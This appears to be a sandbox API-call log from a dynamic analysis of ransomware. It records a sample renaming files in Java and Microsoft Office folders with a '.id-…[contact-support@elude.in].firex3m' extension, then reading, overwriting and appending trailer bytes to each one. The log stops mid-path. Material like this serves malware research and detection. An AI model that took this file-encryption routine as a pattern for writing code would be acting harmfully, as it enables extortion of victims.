lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SSVAGE~1.FIR")) returned 0x6d5580 [0117.119] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0117.119] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0117.119] GetProcessHeap () returned 0x630000 [0117.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7304648 [0117.119] GetProcessHeap () returned 0x630000 [0117.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730fa78 [0117.120] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.120] ReadFile (in: hFile=0x708, lpBuffer=0x7304648, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7304648*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.251] GetProcessHeap () returned 0x630000 [0122.252] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0122.252] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.252] WriteFile (in: hFile=0x708, lpBuffer=0x730fa78*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x730fa78*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0122.252] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.252] WriteFile (in: hFile=0x708, lpBuffer=0x731ae77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ae77*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0122.252] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.252] WriteFile (in: hFile=0x708, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0122.252] CloseHandle (hObject=0x708) returned 1 [0122.255] GetProcessHeap () returned 0x630000 [0122.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730fa78 | out: hHeap=0x630000) returned 1 [0122.255] GetProcessHeap () returned 0x630000 [0122.255] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7304648 | out: hHeap=0x630000) returned 1 [0122.256] GetProcessHeap () returned 0x630000 [0122.256] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0124.161] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.161] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xed17474, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11264, dwReserved0=0xccc7496, dwReserved1=0x7304640, cFileName="ssvagent.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SSVAGE~1.FIR")) returned 0x6d5200 [0124.162] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0124.162] Sleep (dwMilliseconds=0x1) [0124.183] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 1 [0124.183] GetProcessHeap () returned 0x630000 [0124.183] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x140) returned 0x66a3e0 [0124.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0124.184] CloseHandle (hObject=0x4bc) returned 1 [0124.184] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APA203~1.FIR")) returned 0x6d5240 [0124.185] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0124.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0124.185] GetProcessHeap () returned 0x630000 [0124.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x601) returned 0x71bc3d0 [0124.185] GetProcessHeap () returned 0x630000 [0124.185] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x601) returned 0x6fc88b8 [0124.185] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.185] ReadFile (in: hFile=0x4bc, lpBuffer=0x71bc3d0, nNumberOfBytesToRead=0x5e0, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71bc3d0*, lpNumberOfBytesRead=0x3e3ff0c*=0x5e0, lpOverlapped=0x0) returned 1 [0124.276] GetProcessHeap () returned 0x630000 [0124.276] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0124.276] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.277] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fc88b8*, nNumberOfBytesToWrite=0x5e0, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesWritten=0x3e3ff0c*=0x5e0, lpOverlapped=0x0) returned 1 [0124.277] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.277] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fc8e97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc8e97*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.277] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.277] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.277] CloseHandle (hObject=0x4bc) returned 1 [0124.278] GetProcessHeap () returned 0x630000 [0124.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0124.278] GetProcessHeap () returned 0x630000 [0124.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71bc3d0 | out: hHeap=0x630000) returned 1 [0124.278] GetProcessHeap () returned 0x630000 [0124.278] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0124.278] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.278] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1005fabd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0xccc7496, dwReserved1=0x71bc3c8, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APA203~1.FIR")) returned 0x6d5040 [0124.279] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0124.279] Sleep (dwMilliseconds=0x1) [0124.306] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml", len=0x38 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 1 [0124.306] GetProcessHeap () returned 0x630000 [0124.306] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x134) returned 0x66a3e0 [0124.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0124.306] CloseHandle (hObject=0x68c) returned 1 [0124.306] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.306] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.307] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FILESY~1.FIR")) returned 0x6d4e00 [0124.307] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0124.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0124.307] GetProcessHeap () returned 0x630000 [0124.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x121) returned 0x731ceb0 [0124.307] GetProcessHeap () returned 0x630000 [0124.307] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x121) returned 0x67ce30 [0124.307] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.307] ReadFile (in: hFile=0x68c, lpBuffer=0x731ceb0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x731ceb0*, lpNumberOfBytesRead=0x3e3ff0c*=0x100, lpOverlapped=0x0) returned 1 [0124.309] GetProcessHeap () returned 0x630000 [0124.309] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0124.309] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.309] WriteFile (in: hFile=0x68c, lpBuffer=0x67ce30*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67ce30*, lpNumberOfBytesWritten=0x3e3ff0c*=0x100, lpOverlapped=0x0) returned 1 [0124.310] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.310] WriteFile (in: hFile=0x68c, lpBuffer=0x67cf2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x67cf2f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.310] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.310] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.310] CloseHandle (hObject=0x68c) returned 1 [0124.311] GetProcessHeap () returned 0x630000 [0124.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67ce30 | out: hHeap=0x630000) returned 1 [0124.311] GetProcessHeap () returned 0x630000 [0124.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x731ceb0 | out: hHeap=0x630000) returned 1 [0124.311] GetProcessHeap () returned 0x630000 [0124.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0124.311] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x100abee3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0xccc7496, dwReserved1=0x731cea8, cFileName="FileSystemMetadata.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="FILESY~1.FIR")) returned 0x6d5540 [0124.311] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0124.311] Sleep (dwMilliseconds=0x1) [0124.348] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\AppXManifest.xml", len=0x32 | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 1 [0124.348] GetProcessHeap () returned 0x630000 [0124.348] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x130) returned 0x66a3e0 [0124.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0124.350] CloseHandle (hObject=0x68c) returned 1 [0124.350] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0124.350] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0124.351] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0124.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~1.FIR")) returned 0x6d5340 [0124.351] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0124.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0124.351] GetProcessHeap () returned 0x630000 [0124.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7206978 [0124.351] GetProcessHeap () returned 0x630000 [0124.351] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7211da8 [0124.351] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.351] ReadFile (in: hFile=0x68c, lpBuffer=0x7206978, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7206978*, lpNumberOfBytesRead=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.187] GetProcessHeap () returned 0x630000 [0128.187] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0128.187] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.187] WriteFile (in: hFile=0x68c, lpBuffer=0x7211da8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7211da8*, lpNumberOfBytesWritten=0x3e3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.818] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.818] WriteFile (in: hFile=0x68c, lpBuffer=0x721d1a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721d1a7*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0129.829] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.829] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0129.829] CloseHandle (hObject=0x68c) returned 1 [0136.356] GetProcessHeap () returned 0x630000 [0136.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7211da8 | out: hHeap=0x630000) returned 1 [0136.356] GetProcessHeap () returned 0x630000 [0136.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7206978 | out: hHeap=0x630000) returned 1 [0136.356] GetProcessHeap () returned 0x630000 [0136.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0136.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.384] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x1739a6b1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5ab31b, dwReserved0=0xccc7496, dwReserved1=0x7206970, cFileName="AppXManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="APPXMA~1.FIR")) returned 0x6d5380 [0136.384] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0136.385] Sleep (dwMilliseconds=0x1) [0138.212] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml", len=0x5c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml") returned 1 [0138.212] GetProcessHeap () returned 0x630000 [0138.212] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a78) returned 0x72b0508 [0138.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Tw Cen MT-Rockwell.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\tw cen mt-rockwell.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0138.213] CloseHandle (hObject=0x67c) returned 1 [0138.214] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 